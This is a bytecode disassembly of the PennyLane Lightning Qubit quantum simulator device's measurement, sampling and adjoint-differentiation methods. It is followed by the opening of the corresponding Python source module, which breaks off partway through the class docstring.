operations LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR parameters LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST operations LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR wires CALL_METHOD POP_TOP LOAD_FAST operations LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST operations SETUP_LOOP to 172 LOAD_FAST operations GET_ITER FOR_ITER to 170 STORE_FAST operation LOAD_GLOBAL isinstance LOAD_FAST operation LOAD_GLOBAL StatePrep LOAD_GLOBAL BasisState BUILD_TUPLE CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL DeviceError LOAD_CONST 'Operation ' LOAD_FAST operation LOAD_ATTR name FORMAT_VALUE LOAD_CONST ' cannot be used after other Operations have already been applied on a ' LOAD_FAST self LOAD_ATTR short_name FORMAT_VALUE LOAD_CONST ' device.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_FAST operations POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD apply_lightning LOAD_FAST self LOAD_ATTR _state LOAD_FAST operations CALL_METHOD LOAD_FAST self STORE_ATTR _pre_rotated_state JUMP_FORWARD to 202 LOAD_FAST self LOAD_ATTR _state LOAD_FAST self STORE_ATTR _pre_rotated_state LOAD_FAST rotations POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD apply_lightning LOAD_GLOBAL np LOAD_METHOD copy LOAD_FAST self LOAD_ATTR _pre_rotated_state CALL_METHOD LOAD_FAST rotations CALL_METHOD LOAD_FAST self STORE_ATTR _state JUMP_FORWARD to 238 LOAD_FAST self LOAD_ATTR _pre_rotated_state LOAD_FAST self STORE_ATTR _state LOAD_CONST None RETURN_VALUE LOAD_FAST observable LOAD_ATTR name LOAD_CONST ('Identity', 'Projector') COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR expval LOAD_FAST observable LOAD_FAST shot_range LOAD_FAST bin_size LOAD_CONST ('shot_range', 'bin_size') CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_ATTR shots LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR sample LOAD_FAST observable LOAD_FAST shot_range LOAD_FAST bin_size LOAD_CONST ('shot_range', 'bin_size') CALL_FUNCTION STORE_FAST samples LOAD_GLOBAL np LOAD_METHOD squeeze LOAD_GLOBAL np LOAD_ATTR mean LOAD_FAST samples LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION CALL_METHOD RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD ravel LOAD_FAST self LOAD_ATTR _pre_rotated_state CALL_METHOD STORE_FAST ket LOAD_FAST self LOAD_ATTR use_csingle POP_JUMP_IF_FALSE LOAD_GLOBAL StateVectorC64 LOAD_FAST ket CALL_FUNCTION JUMP_FORWARD to 106 LOAD_GLOBAL StateVectorC128 LOAD_FAST ket CALL_FUNCTION STORE_FAST state_vector LOAD_FAST self LOAD_ATTR use_csingle POP_JUMP_IF_FALSE LOAD_GLOBAL MeasurementsC64 LOAD_FAST state_vector CALL_FUNCTION JUMP_FORWARD to 128 LOAD_GLOBAL MeasurementsC128 LOAD_FAST state_vector CALL_FUNCTION STORE_FAST measurements LOAD_FAST observable LOAD_ATTR name LOAD_CONST 'SparseHamiltonian' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST observable LOAD_ATTR sparse_matrix LOAD_FAST self LOAD_ATTR wires LOAD_CONST ('wire_order',) CALL_FUNCTION LOAD_ATTR tocsr LOAD_CONST False LOAD_CONST ('copy',) CALL_FUNCTION STORE_FAST csr_hamiltonian LOAD_FAST measurements LOAD_METHOD expval LOAD_FAST csr_hamiltonian LOAD_ATTR indptr LOAD_FAST csr_hamiltonian LOAD_ATTR indices LOAD_FAST csr_hamiltonian LOAD_ATTR data CALL_METHOD RETURN_VALUE LOAD_FAST observable LOAD_ATTR name LOAD_CONST ('Hamiltonian', 'Hermitian') COMPARE_OP in POP_JUMP_IF_TRUE LOAD_FAST observable LOAD_ATTR arithmetic_depth LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_TRUE LOAD_GLOBAL isinstance LOAD_FAST observable LOAD_ATTR name LOAD_GLOBAL List CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL QuantumScriptSerializer LOAD_FAST self LOAD_ATTR short_name LOAD_FAST self LOAD_ATTR use_csingle CALL_FUNCTION LOAD_METHOD _ob LOAD_FAST observable LOAD_FAST self LOAD_ATTR wire_map CALL_METHOD STORE_FAST ob_serialized LOAD_FAST measurements LOAD_METHOD expval LOAD_FAST ob_serialized CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD map_wires LOAD_FAST observable LOAD_ATTR wires CALL_METHOD STORE_FAST observable_wires LOAD_FAST measurements LOAD_METHOD expval LOAD_FAST observable LOAD_ATTR name LOAD_FAST observable_wires CALL_METHOD RETURN_VALUE LOAD_FAST observable LOAD_ATTR name LOAD_CONST ('Identity', 'Projector') COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR var LOAD_FAST observable LOAD_FAST shot_range LOAD_FAST bin_size LOAD_CONST ('shot_range', 'bin_size') CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_ATTR shots LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR sample LOAD_FAST observable LOAD_FAST shot_range LOAD_FAST bin_size LOAD_CONST ('shot_range', 'bin_size') CALL_FUNCTION STORE_FAST samples LOAD_GLOBAL np LOAD_METHOD squeeze LOAD_GLOBAL np LOAD_ATTR var LOAD_FAST samples LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION CALL_METHOD RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD ravel LOAD_FAST self LOAD_ATTR _pre_rotated_state CALL_METHOD STORE_FAST ket LOAD_FAST self LOAD_ATTR use_csingle POP_JUMP_IF_FALSE LOAD_GLOBAL StateVectorC64 LOAD_FAST ket CALL_FUNCTION JUMP_FORWARD to 106 LOAD_GLOBAL StateVectorC128 LOAD_FAST ket CALL_FUNCTION STORE_FAST state_vector LOAD_FAST self LOAD_ATTR use_csingle POP_JUMP_IF_FALSE LOAD_GLOBAL MeasurementsC64 LOAD_FAST state_vector CALL_FUNCTION JUMP_FORWARD to 128 LOAD_GLOBAL MeasurementsC128 LOAD_FAST state_vector CALL_FUNCTION STORE_FAST measurements LOAD_FAST observable LOAD_ATTR name LOAD_CONST 'SparseHamiltonian' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST observable LOAD_ATTR sparse_matrix LOAD_FAST self LOAD_ATTR wires LOAD_CONST ('wire_order',) CALL_FUNCTION LOAD_ATTR tocsr LOAD_CONST False LOAD_CONST ('copy',) CALL_FUNCTION STORE_FAST csr_hamiltonian LOAD_FAST measurements LOAD_METHOD var LOAD_FAST csr_hamiltonian LOAD_ATTR indptr LOAD_FAST csr_hamiltonian LOAD_ATTR indices LOAD_FAST csr_hamiltonian LOAD_ATTR data CALL_METHOD RETURN_VALUE LOAD_FAST observable LOAD_ATTR name LOAD_CONST ('Hamiltonian', 'Hermitian') COMPARE_OP in POP_JUMP_IF_TRUE LOAD_FAST observable LOAD_ATTR arithmetic_depth LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_TRUE LOAD_GLOBAL isinstance LOAD_FAST observable LOAD_ATTR name LOAD_GLOBAL List CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL QuantumScriptSerializer LOAD_FAST self LOAD_ATTR short_name LOAD_FAST self LOAD_ATTR use_csingle CALL_FUNCTION LOAD_METHOD _ob LOAD_FAST observable LOAD_FAST self LOAD_ATTR wire_map CALL_METHOD STORE_FAST ob_serialized LOAD_FAST measurements LOAD_METHOD var LOAD_FAST ob_serialized CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD map_wires LOAD_FAST observable LOAD_ATTR wires CALL_METHOD STORE_FAST observable_wires LOAD_FAST measurements LOAD_METHOD var LOAD_FAST observable LOAD_ATTR name LOAD_FAST observable_wires CALL_METHOD RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD ravel LOAD_FAST self LOAD_ATTR _state CALL_METHOD STORE_FAST ket LOAD_FAST self LOAD_ATTR use_csingle POP_JUMP_IF_FALSE LOAD_GLOBAL StateVectorC64 LOAD_FAST ket CALL_FUNCTION JUMP_FORWARD to 32 LOAD_GLOBAL StateVectorC128 LOAD_FAST ket CALL_FUNCTION STORE_FAST state_vector LOAD_FAST self LOAD_ATTR use_csingle POP_JUMP_IF_FALSE LOAD_GLOBAL MeasurementsC64 LOAD_FAST state_vector CALL_FUNCTION JUMP_FORWARD to 54 LOAD_GLOBAL MeasurementsC128 LOAD_FAST state_vector CALL_FUNCTION STORE_FAST measurements LOAD_FAST self LOAD_ATTR _mcmc POP_JUMP_IF_FALSE LOAD_FAST measurements LOAD_METHOD generate_mcmc_samples LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR wires CALL_FUNCTION LOAD_FAST self LOAD_ATTR _kernel_name LOAD_FAST self LOAD_ATTR _num_burnin LOAD_FAST self LOAD_ATTR shots CALL_METHOD LOAD_ATTR astype LOAD_GLOBAL int LOAD_CONST False LOAD_CONST ('copy',) CALL_FUNCTION RETURN_VALUE LOAD_FAST measurements LOAD_METHOD generate_samples LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR wires CALL_FUNCTION LOAD_FAST self LOAD_ATTR shots CALL_METHOD LOAD_ATTR astype LOAD_GLOBAL int LOAD_CONST False LOAD_CONST ('copy',) CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_ATTR state_vector STORE_FAST state_vector LOAD_FAST self LOAD_ATTR use_csingle POP_JUMP_IF_FALSE LOAD_GLOBAL MeasurementsC64 LOAD_FAST state_vector CALL_FUNCTION JUMP_FORWARD to 26 LOAD_GLOBAL MeasurementsC128 LOAD_FAST state_vector CALL_FUNCTION LOAD_METHOD probs LOAD_FAST wires CALL_METHOD RETURN_VALUE LOAD_FAST measurements POP_JUMP_IF_TRUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL len LOAD_FAST measurements CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST measurements LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR return_type LOAD_GLOBAL State COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL State RETURN_VALUE LOAD_GLOBAL any LOAD_CONST <code object <genexpr> at 0x7fab41b73db0, file "f.py", line 654> LOAD_CONST 'LightningQubit._check_adjdiff_supported_measurements.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST measurements GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL QuantumFunctionError LOAD_CONST 'Adjoint differentiation method does not support expectation return type mixed with other return types' CALL_FUNCTION RAISE_VARARGS SETUP_LOOP to 142 LOAD_FAST measurements GET_ITER FOR_ITER to 140 STORE_FAST measurement LOAD_GLOBAL isinstance LOAD_FAST measurement LOAD_ATTR obs LOAD_GLOBAL Tensor CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL any LOAD_CONST <code object <genexpr> at 0x7fab41b73270, file "f.py", line 665> LOAD_CONST 'LightningQubit._check_adjdiff_supported_measurements.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST measurement LOAD_ATTR obs LOAD_ATTR non_identity_obs GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL QuantumFunctionError LOAD_CONST 'Adjoint differentiation method does not support the Projector observable' CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE LOAD_GLOBAL isinstance LOAD_FAST measurement LOAD_ATTR obs LOAD_GLOBAL Projector CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL QuantumFunctionError LOAD_CONST 'Adjoint differentiation method does not support the Projector observable' CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL Expectation RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST measurement LOAD_FAST measurement LOAD_ATTR return_type LOAD_GLOBAL Expectation COMPARE_OP is not YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST obs LOAD_GLOBAL isinstance LOAD_FAST obs LOAD_GLOBAL Projector CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE SETUP_LOOP to 52 LOAD_FAST operations GET_ITER FOR_ITER to 50 STORE_FAST operation LOAD_FAST operation LOAD_ATTR num_params LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST operation LOAD_GLOBAL Rot CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL QuantumFunctionError LOAD_CONST 'The ' LOAD_FAST operation LOAD_ATTR name FORMAT_VALUE LOAD_CONST ' operation is not supported using the "adjoint" differentiation method' BUILD_STRING CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST starting_state LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST starting_state LOAD_ATTR size LOAD_CONST 2 LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR wires CALL_FUNCTION BINARY_POWER COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL QuantumFunctionError LOAD_CONST 'The number of qubits of starting_state must be the same as that of the device.' CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR _asarray LOAD_FAST starting_state LOAD_FAST self LOAD_ATTR C_DTYPE LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST ket JUMP_FORWARD to 84 LOAD_FAST use_device_state POP_JUMP_IF_TRUE LOAD_FAST self LOAD_METHOD reset CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD apply LOAD_FAST tape LOAD_ATTR operations CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _pre_rotated_state STORE_FAST ket LOAD_FAST ket LOAD_METHOD reshape LOAD_CONST -1 CALL_METHOD STORE_FAST ket LOAD_FAST self LOAD_ATTR use_csingle POP_JUMP_IF_FALSE LOAD_GLOBAL StateVectorC64 LOAD_FAST ket CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL StateVectorC128 LOAD_FAST ket CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_ATTR shots LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL warn LOAD_CONST 'Requested adjoint differentiation to be computed with finite shots. The derivative is always exact when using the adjoint differentiation method.' LOAD_GLOBAL UserWarning CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_METHOD _check_adjdiff_supported_measurements LOAD_FAST tape LOAD_ATTR measurements CALL_METHOD STORE_FAST tape_return_type LOAD_FAST tape_return_type POP_JUMP_IF_TRUE LOAD_GLOBAL np LOAD_ATTR array BUILD_LIST LOAD_FAST self LOAD_ATTR state LOAD_ATTR dtype LOAD_CONST ('dtype',) CALL_FUNCTION RETURN_VALUE LOAD_FAST tape_return_type LOAD_GLOBAL State COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL QuantumFunctionError LOAD_CONST 'This method does not support statevector return type. Use vjp method instead for this purpose.' CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_METHOD _check_adjdiff_supported_operations LOAD_FAST tape LOAD_ATTR operations CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD _process_jacobian_tape LOAD_FAST tape LOAD_FAST starting_state LOAD_FAST use_device_state CALL_METHOD STORE_FAST processed_data LOAD_FAST processed_data POP_JUMP_IF_TRUE LOAD_GLOBAL np LOAD_ATTR array BUILD_LIST LOAD_FAST self LOAD_ATTR state LOAD_ATTR dtype LOAD_CONST ('dtype',) CALL_FUNCTION RETURN_VALUE LOAD_FAST processed_data LOAD_CONST 'tp_shift' BINARY_SUBSCR STORE_FAST trainable_params LOAD_GLOBAL int LOAD_GLOBAL getenv LOAD_CONST 'OMP_NUM_THREADS' LOAD_CONST '1' CALL_FUNCTION CALL_FUNCTION STORE_FAST requested_threads LOAD_FAST self LOAD_ATTR use_csingle POP_JUMP_IF_FALSE LOAD_GLOBAL AdjointJacobianC64 CALL_FUNCTION JUMP_FORWARD to 156 LOAD_GLOBAL AdjointJacobianC128 CALL_FUNCTION STORE_FAST adjoint_jacobian LOAD_FAST self LOAD_ATTR _batch_obs POP_JUMP_IF_FALSE LOAD_FAST requested_threads LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL _chunk_iterable LOAD_FAST processed_data LOAD_CONST 'obs_serialized' BINARY_SUBSCR LOAD_FAST requested_threads CALL_FUNCTION STORE_FAST obs_partitions BUILD_LIST STORE_FAST jac SETUP_LOOP to 264 LOAD_FAST obs_partitions GET_ITER FOR_ITER to 234 STORE_FAST obs_chunk LOAD_FAST adjoint_jacobian LOAD_FAST processed_data LOAD_CONST 'state_vector' BINARY_SUBSCR LOAD_FAST obs_chunk LOAD_FAST processed_data LOAD_CONST 'ops_serialized' BINARY_SUBSCR LOAD_FAST trainable_params CALL_FUNCTION STORE_FAST jac_local LOAD_FAST jac LOAD_METHOD extend LOAD_FAST jac_local CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 264 LOAD_FAST adjoint_jacobian LOAD_FAST processed_data LOAD_CONST 'state_vector' BINARY_SUBSCR LOAD_FAST processed_data LOAD_CONST 'obs_serialized' BINARY_SUBSCR LOAD_FAST processed_data LOAD_CONST 'ops_serialized' BINARY_SUBSCR LOAD_FAST trainable_params CALL_FUNCTION STORE_FAST jac LOAD_GLOBAL np LOAD_METHOD array LOAD_FAST jac CALL_METHOD STORE_FAST jac LOAD_FAST jac LOAD_METHOD reshape LOAD_CONST -1 LOAD_GLOBAL len LOAD_FAST trainable_params CALL_FUNCTION CALL_METHOD STORE_FAST jac LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST jac LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST processed_data LOAD_CONST 'all_params' BINARY_SUBSCR BUILD_TUPLE CALL_METHOD STORE_FAST jac_r LOAD_FAST jac LOAD_FAST jac_r LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_FAST processed_data LOAD_CONST 'record_tp_rows' BINARY_SUBSCR BUILD_TUPLE STORE_SUBSCR LOAD_GLOBAL hasattr LOAD_GLOBAL qml LOAD_CONST 'active_return' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL qml LOAD_METHOD active_return CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _adjoint_jacobian_processing LOAD_FAST jac_r CALL_METHOD RETURN_VALUE LOAD_FAST jac_r RETURN_VALUE LOAD_FAST self LOAD_METHOD _adjoint_jacobian_processing LOAD_FAST jac_r CALL_METHOD RETURN_VALUE LOAD_DEREF self LOAD_ATTR shots LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL warn LOAD_CONST 'Requested adjoint differentiation to be computed with finite shots. The derivative is always exact when using the adjoint differentiation method.' LOAD_GLOBAL UserWarning CALL_FUNCTION POP_TOP LOAD_DEREF self LOAD_METHOD _check_adjdiff_supported_measurements LOAD_FAST measurements CALL_METHOD STORE_FAST tape_return_type LOAD_GLOBAL math LOAD_METHOD allclose LOAD_DEREF grad_vec LOAD_CONST 0 CALL_METHOD POP_JUMP_IF_TRUE LOAD_FAST tape_return_type LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CLOSURE grad_vec BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab822e2390, file "f.py", line 835> LOAD_CONST 'LightningQubit.vjp.<locals>.<lambda>' MAKE_FUNCTION RETURN_VALUE LOAD_FAST tape_return_type LOAD_GLOBAL Expectation COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_DEREF grad_vec CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST measurements CALL_FUNCTION COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Number of observables in the tape must be the same as the length of grad_vec in the vjp method' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL np LOAD_METHOD iscomplexobj LOAD_DEREF grad_vec CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'The vjp method only works with a real-valued grad_vec when the tape is returning an expectation value' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL qml LOAD_METHOD Hamiltonian LOAD_DEREF grad_vec LOAD_CONST <code object <listcomp> at 0x7fab822e2420, file "f.py", line 852> LOAD_CONST 'LightningQubit.vjp.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST measurements GET_ITER CALL_FUNCTION CALL_METHOD STORE_DEREF ham LOAD_CLOSURE ham LOAD_CLOSURE self LOAD_CLOSURE starting_state LOAD_CLOSURE use_device_state BUILD_TUPLE LOAD_CONST <code object processing_fn_expval at 0x7fab822e2d20, file "f.py", line 854> LOAD_CONST 'LightningQubit.vjp.<locals>.processing_fn_expval' MAKE_FUNCTION STORE_FAST processing_fn_expval LOAD_FAST processing_fn_expval RETURN_VALUE LOAD_FAST tape_return_type LOAD_GLOBAL State COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_DEREF grad_vec CALL_FUNCTION LOAD_CONST 2 LOAD_GLOBAL len LOAD_DEREF self LOAD_ATTR wires CALL_FUNCTION BINARY_POWER COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Size of the provided vector grad_vec must be the same as the size of the statevector' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL np LOAD_METHOD isrealobj LOAD_DEREF grad_vec CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL warn LOAD_CONST 'The vjp method only works with complex-valued grad_vec when the tape is returning a statevector. Upcasting grad_vec.' CALL_FUNCTION POP_TOP LOAD_DEREF grad_vec LOAD_METHOD astype LOAD_DEREF self LOAD_ATTR C_DTYPE CALL_METHOD STORE_DEREF grad_vec LOAD_CLOSURE grad_vec LOAD_CLOSURE self LOAD_CLOSURE starting_state LOAD_CLOSURE use_device_state BUILD_TUPLE LOAD_CONST <code object processing_fn_state at 0x7fab822e2930, file "f.py", line 884> LOAD_CONST 'LightningQubit.vjp.<locals>.processing_fn_state' MAKE_FUNCTION STORE_FAST processing_fn_state LOAD_FAST processing_fn_state RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL math LOAD_METHOD convert_like LOAD_GLOBAL np LOAD_METHOD zeros LOAD_GLOBAL len LOAD_FAST tape LOAD_ATTR trainable_params CALL_FUNCTION CALL_METHOD LOAD_DEREF grad_vec CALL_METHOD RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 16 STORE_FAST m LOAD_FAST m LOAD_ATTR obs LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL len LOAD_FAST tape LOAD_ATTR trainable_params CALL_FUNCTION STORE_FAST num_params LOAD_FAST num_params LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_ATTR array BUILD_LIST LOAD_DEREF self LOAD_ATTR state LOAD_ATTR dtype LOAD_CONST ('dtype',) CALL_FUNCTION RETURN_VALUE LOAD_FAST tape LOAD_METHOD copy CALL_METHOD STORE_FAST new_tape LOAD_GLOBAL qml LOAD_METHOD expval LOAD_DEREF ham CALL_METHOD BUILD_LIST LOAD_FAST new_tape STORE_ATTR _measurements LOAD_DEREF self LOAD_METHOD adjoint_jacobian LOAD_FAST new_tape LOAD_DEREF starting_state LOAD_DEREF use_device_state CALL_METHOD RETURN_VALUE LOAD_DEREF self LOAD_METHOD _process_jacobian_tape LOAD_FAST tape LOAD_DEREF starting_state LOAD_DEREF use_device_state CALL_METHOD STORE_FAST processed_data LOAD_DEREF self LOAD_ATTR use_csingle POP_JUMP_IF_FALSE LOAD_GLOBAL VectorJacobianProductC64 CALL_FUNCTION JUMP_FORWARD to 30 LOAD_GLOBAL VectorJacobianProductC128 CALL_FUNCTION STORE_FAST calculate_vjp LOAD_FAST calculate_vjp LOAD_FAST processed_data LOAD_CONST 'state_vector' BINARY_SUBSCR LOAD_FAST processed_data LOAD_CONST 'ops_serialized' BINARY_SUBSCR LOAD_DEREF grad_vec LOAD_FAST processed_data LOAD_CONST 'tp_shift' BINARY_SUBSCR CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'LightningQubit' STORE_NAME __qualname__ LOAD_CONST 'Lightning qubit PennyLane plugin [No binaries found - Fallback: default.qubit]' STORE_NAME name LOAD_CONST 'lightning.qubit' STORE_NAME short_name LOAD_NAME np LOAD_ATTR complex128 LOAD_CONST ('c_dtype',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab822e24b0, file "f.py", line 910> LOAD_CONST 'LightningQubit.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL warn LOAD_CONST 'Pre-compiled binaries for lightning.qubit are not available. Falling back to using the Python-based default.qubit implementation. To manually compile from source, follow the instructions at https://pennylane-lightning.readthedocs.io/en/latest/installation.html.' LOAD_GLOBAL UserWarning CALL_FUNCTION POP_TOP LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ LOAD_FAST wires BUILD_TUPLE LOAD_CONST 'c_dtype' LOAD_FAST c_dtype BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE
r""" This module contains the :class:`~.LightningQubit` class, a PennyLane simulator device that interfaces with C++ for fast linear algebra calculations. """ from warnings import warn from pathlib import Path import numpy as np from pennylane_lightning.core.lightning_base import ( LightningBase, LightningBaseFallBack, _chunk_iterable, ) try: from pennylane_lightning.lightning_qubit_ops import ( allocate_aligned_array, get_alignment, best_alignment, MeasurementsC64, StateVectorC64, MeasurementsC128, StateVectorC128, backend_info, ) LQ_CPP_BINARY_AVAILABLE = True except ImportError: LQ_CPP_BINARY_AVAILABLE = False if LQ_CPP_BINARY_AVAILABLE: from typing import List from os import getenv from pennylane import ( math, BasisState, StatePrep, Projector, Rot, DeviceError, QuantumFunctionError, ) from pennylane.operation import Tensor from pennylane.measurements import MeasurementProcess, Expectation, State from pennylane.wires import Wires import pennylane as qml from pennylane_lightning.core._serialize import QuantumScriptSerializer from pennylane_lightning.core._version import __version__ from pennylane_lightning.lightning_qubit_ops.algorithms import ( AdjointJacobianC64, create_ops_listC64, VectorJacobianProductC64, AdjointJacobianC128, create_ops_listC128, VectorJacobianProductC128, ) allowed_operations = { "Identity", "BasisState", "QubitStateVector", "StatePrep", "QubitUnitary", "ControlledQubitUnitary", "MultiControlledX", "DiagonalQubitUnitary", "PauliX", "PauliY", "PauliZ", "MultiRZ", "Hadamard", "S", "Adjoint(S)", "T", "Adjoint(T)", "SX", "Adjoint(SX)", "CNOT", "SWAP", "ISWAP", "PSWAP", "Adjoint(ISWAP)", "SISWAP", "Adjoint(SISWAP)", "SQISW", "CSWAP", "Toffoli", "CY", "CZ", "PhaseShift", "ControlledPhaseShift", "CPhase", "RX", "RY", "RZ", "Rot", "CRX", "CRY", "CRZ", "C(PauliX)", "C(PauliY)", "C(PauliZ)", "C(Hadamard)", "C(S)", "C(T)", "C(PhaseShift)", "C(RX)", "C(RY)", "C(RZ)", "C(SWAP)", "C(IsingXX)", "C(IsingXY)", "C(IsingYY)", "C(IsingZZ)", "C(SingleExcitation)", "C(SingleExcitationMinus)", "C(SingleExcitationPlus)", "C(DoubleExcitation)", "C(DoubleExcitationMinus)", "C(DoubleExcitationPlus)", "CRot", "IsingXX", "IsingYY", "IsingZZ", "IsingXY", "SingleExcitation", "SingleExcitationPlus", "SingleExcitationMinus", "DoubleExcitation", "DoubleExcitationPlus", "DoubleExcitationMinus", "QubitCarry", "QubitSum", "OrbitalRotation", "QFT", "ECR", } allowed_observables = { "PauliX", "PauliY", "PauliZ", "Hadamard", "Hermitian", "Identity", "Projector", "SparseHamiltonian", "Hamiltonian", "Sum", "SProd", "Prod", "Exp", } class LightningQubit(LightningBase): """PennyLane Lightning Qubit device. A device that interfaces with C++ to perform fast linear algebra calculations. Use of this device requires pre-built binaries or compilation from source. Check out the :doc:`/lightning_qubit/installation` guide for more details. Args: wires (int): the number of wires to initialize the device with c_dtype: Datatypes for statevector representation. Must be one of ``np.complex64`` or ``np.complex128``. shots (int): How many times the circuit should be evaluated (or sampled) to estimate the expectation values. Defaults to ``None`` if not specified. Setting to ``None`` results in computing statistics like expectation values and variances analytically. mcmc (bool): Determine whether to use the approximate Markov Chain Monte Carlo sampling method when generating samples. kernel_name (str): name of transition kernel. The current version supports two kernels: ``"Local"`` and ``"NonZeroRandom"``. The local kernel conducts a bit-flip local transition between states. The local kernel generates a random qubit site and then generates a random number to determine the new bit at that qubit site. The ``"NonZeroRandom"`` kernel randomly transits between states that have nonzero probability. num_burnin (int): number of steps that will be dropped. Increasing this value will result in a closer approximation but increased runtime. batch_obs (bool): Determine whether we 